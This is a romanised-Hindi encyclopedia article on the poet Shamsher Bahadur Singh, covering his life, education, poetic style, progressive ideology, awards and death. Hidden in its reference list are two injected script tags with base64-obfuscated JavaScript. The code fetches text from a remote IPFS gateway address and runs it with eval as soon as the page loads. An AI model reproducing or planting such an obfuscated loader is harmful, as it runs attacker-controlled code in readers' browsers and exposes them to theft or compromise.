शमशेर बहादुर सिंह
shamasher bahadur sianh
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| poora nam | shamasher bahadur sianh |
| janm | 13 janavari, 1911 |
| janm bhoomi | deharadoon |
| mrityu | 12 mee, 1993 |
| mrityu sthan | ahamadabad |
| abhibhavak | baboo tarif sianh aur shrimati prabhudeee |
| pati/patni | shrimati dharmadevi |
| karm bhoomi | bharat |
| karm-kshetr | kavi, lekhak |
| mukhy rachanaean | 'kuchh kavitaean' (1956), 'kuchh aur kavitaean' (1961), 'shamasher bahadur sianh ki kavitaean' (1972), 'udita : abhivyakti ka sangharsh' (1980), 'itane pas apane' (1980), 'chuka bhi hooan nahian maian' (1981), 'bat bolegi' (1981), 'kal tujhase ho d hai meri' (1988), 'shamasher ki gazalean' |
| bhasha | hiandi tatha urdoo |
| shiksha | bi.e. |
| puraskar-upadhi | sahity akadami puraskar (1977), maithili sharan gupt puraskar (1987), rashtriy kabir samman (1989) adi. |
| nagarikata | bharatiy |
| sanbandhit lekh | shamasher bahadur sianh ki kavy bhasha mean bimb vidhan |
| karyakshetr | 'roopabh' mean karyalay sahayak ke roop mean (1939); 'kahani' mean trilochan ke sath (1940); 'naya sahity' bambee mean kamyoon mean rahate hue (1946); 'maya' mean sahayak sampadak (1948-54); 'naya path' aur 'manorath kahaniyaan' mean sampadan sahayog. dilli vishvavidyalay mean yoo.ji.si. ke projekt 'urdoo-hiandi kosh' mean sampadak (1965-77). adhyaksh- premachand srijan pith, vikram vishvavidyalay 1981-85 yatra: soviyat sangh 1978. |
| inhean bhi dekhean | kavi soochi, sahityakar soochi |
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shamasher bahadur sianh (aangrezi: Shamsher Bahadur Singh, janm: 13 janavari, 1911 - mrityu: 12 mee, 1993) adhunik hiandi kavita ke pragatishil kavi haian. ye hiandi tatha urdoo ke vidvan haian. prayogavad aur nee kavita ke kaviyoan ki pratham pankti mean inaka sthan hai. inaki shaili aangrezi kavi ejara paund se prabhavit hai. shamasher bahadur sianh 'doosara saptak' (1951) ke kavi haian. shamasher bahadur sianh ne kavitaoan ke saman hi chitroan mean bhi prayog kiye haian. adhunik kavita mean 'ajney' aur shamasher ka krititv do bhinn dishaoan ka parichayak hai- 'ajney' ki kavita mean vastu aur roopakar donoan ke bich santulan sthapit rakhane ki pravritti parilakshit hoti hai, shamasher mean shilp-kaushal ke prati atirikt jagarookata hai. is drishti se shamasher aur 'ajney' kramashah do adhunik aangrez kaviyoan ejara paund aur iliyat ke adhik nikat haian. adhunik aangrezi-kavy mean shilp ko pradhany dene ka shrey ejara paund ko prapt hai. vastu ki apeksha roopavidhan ke prati unamean adhik sajagata drishtigochar hoti hai. adhunik aangrezi-kavy mean kavy-shaili ke naye prayog ejara paund se prarambh hote haian. shamasher bahadur sianh ne apane vaktavy mean ejara paund ke prabhav ko muktakanth se svikar kiya hai- tekanik mean ejara paund shayad mera sabase b da adarsh ban gaya.
parichay
shamasher bahadur sianh ka janm deharadoon mean 13 janavari, 1911 ko hua. unake pita ka nam tariph sianh tha aur maan ka nam param devi tha. shamasher ji ke bhaee tej bahadur unase do sal chhote the. unaki maan donoan bhaiyoan ko 'ram-lakshman ki jo di' kaha karati thian. jab shamasher bahadur sianh ath ya nau varsh ke hi the, tab unaki maan ki mrityu ho gee, kintu donoan bhaiyoan ki jo di shamasher ki mrityu tak bani rahi.
shiksha
aranbhik shiksha deharadoon mean huee aur haeeskool-iantar ki pariksha goanda se di. bi.e. ilahabad se kiya, kinhian karanoan se em.e. phainal n kar sake. 1935-36 mean ukil bandhuoan se peantiang kala sikhi. 'roopabh', 'kahani', 'naya sahity', 'maya', 'naya path', 'manohar kahaniyaan' adi mean sanpadan sahayog. urdoo-hindi kosh projekt mean sanpadak rahe aur vikram vishvavidyalay ke 'premachand srijanapith' ke adhyaksh rahe. doosara tar saptak ke kavi haian.
vivah
san 1929 mean 18 varsh ki avastha mean shamasher bahadur sianh ka vivah dharmavati ke sath hua, lekin chhah varsh ke bad hi 1935 mean unaki patni dharmavati ki mrityu tibi ke karan ho gee. 24 varsh ke shamasher ko mila jivan ka yah abhav kavita mean vibhav banakar hamesha maujood raha. kal ne jise chhin liya tha, use apani kavita mean sajiv rakhakar ve kal se ho d lete rahe. yuvakal mean shamasher bahadur sianh vamapanthi vicharadhara aur pragatishil sahity se prabhavit hue the. unaka jivan nimn madhyavargiy vyakti ka tha.
kavy shaili
shamasher bahadur sianh mean apane bimboan, upamanoan aur sangitadhvaniyoan dvara chamatkar aur vaichitryapoorn adhath utpann karane ki cheshta avashy upalabdh hoti hai, par kisi kendragami vichar-tatv ka unamean prayah abhav-sa hai. abhivyakti ki vakrata dvara varn-vigrah aur varn-sandhi ke adhar par nayi shabd-yojana ke prayog se chamatkarik aghat dene ki pravritti inamean kisi thos vichar tattv ki apeksha adhik mahattv rakhati hai. shamasher bahadur sianh mean mukt sahachary aur asambaddhatajany duroohata ke tattv saf nazar ate haian. unaki abhivyakti mean adhoorapan parilakshit hota hai. shamasher ki kavita mean ulajhanabhari sanvedanashilata adhik hai. unamean shabd-moh, shabd-khilava d ke prati adhik jagarookata hai aur shabd- yojana ke madhyam se sangit-dhvani utpann karane ki pravritti dekhi ja sakati haian.
- adhunik kavy-bodh
shamasher ki kavitaean adhunik kavy-bodh ke adhik nikat haian, jahaan pathak tatha shrota ke sahayog ki sthiti ko svikar kiya jata hai. unaka bimbavidhan ekadam jak da hua 'redimed' nahian hai. vah 'samajik' ke asvadan ko poori chhoot deta hai. is drishti se unamean amoortan ki pravritti apane kafi shuddh roop mean dikhaee deti hai. urdoo ki gazal se prabhavit hone par bhi unhoanne kavy-shilp ke navinatam roopoan ko apanaya hai. prayogavad aur nayi kavita ke puraskartaoan mean ve agrani haian. unaki rachanaprakriti hindi mean apratim hai aur anek sambhavanaoan se yukt hai. hindi ke naye kaviyoan mean unaka nam pratham paanktoy hai. 'ajney' ke sath shamasher ne hindi-kavitaoan mean rachana-paddhati ki nayi dishaoan ko uddhatit kiya hai aur chhayavadottar kavy ko ek gati pradan ki hai.
vicharadhara
shamasher bahadur sianh hindi sahity mean maansal eandrie sauandary ke advitiy chitere aur ajivan pragativadi vicharadhara ke samarthak rahe. unhoanne svadhinata aur kraanti ko apani niji chiz ki tarah apanaya. iandriy sauandary ke sabase sanvedanapoorn chitr dekar bhi ve ajney ki tarah sauandaryavadi nahian haian. unamean ek aisa thosapan hai, jo unaki vinamrata ko dhulamul nahian banane deta. sath hi kisi ek chaukhate mean bandhane bhi nahian deta. sooryakant tripathi 'nirala' unake priy kavi the. unhean yad karate hue shamasher bahadur sianh ne likha tha-
"bhool kar jab rah, jab-jab rah.. bhataka maian/ tumhian jhalake he mahakavi,/ saghan tam ki aankh ban mere lie."
shamasher ke rag-virag gahare aur sthayi the. avasaravadi dhang se vicharoan ko apanana, chho dana unaka kam nahian tha. apane mitr aur kavi kedaranath agraval ki tarah ve ek taraf 'yauvan ki um dati yamunaean' anubhav kar sakate the, vahian doosari or 'lahoo bhare gvaliyar ke bazar mean juloos' bhi dekh sakate the. unake lie nijata aur samajikata mean alagav aur virodh nahian tha, balki donoan ek hi astitv ke do chhor the. shamasher bahadur sianh un kaviyoan mean se the, jinake lie marksavad ki kraantikari astha aur bharat ki sudirgh saanskritik paranpara mean virodh nahian tha.
rachanaean
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samman aur puraskar
shamasher bahadur sianh ko der se hi sahi, bade-bade puraskar bhi mile- sahity akadami (1977), maithili sharan gupt puraskar (1987), kabir samman (1989) adi.
nidhan
shamasher bahadur sianh ne 12 mee, 1993 ko duniya se alavida kaha. d aau. ranjana arag de ke anusar "jab unhean hart ataik aya to aspatal mean lagabhag 72 ghante se bhi kam rahe. vah bahut pi da ka samay to nahian tha. lekin unhean shayad aandaza ho gaya tha ki ab jane ka samay a gaya hai. maian unase poochh rahi thi ki ve kya sunana chaheange galib ya kuchh aur lekin ve inakar mean sir hilate rahe." ve yad karati haian, "akhir mean shamasher ne gayatri mantr sunane ki ichchha jataee. ujjain mean jab ve the to sanskrit ki chhooti huee k di vahian hath a gee thi. maian gayatri mantr bol rahi thi aur ve sath mean bolate ja rahe the. mantr bolate -bolate jab ve chup ho ge to maian jan gee thi ki ab ve nahian haian."[1]
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tika tippani aur sandarbh
- ↑ saral-sahaj vyaktitv vala ek b da kavi (hindi) (ech.ti.em.el) bi.bi.si. hindi. abhigaman tithi: 31 aktoobar, 2011.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
dhireandr, varma “bhag- 2 par adharit”, hiandi sahity kosh (hiandi), 590.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sahayak granth- 'shamasher' sanpadak malayaj
sanbandhit lekh
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varnamala kramanusar lekh khoj
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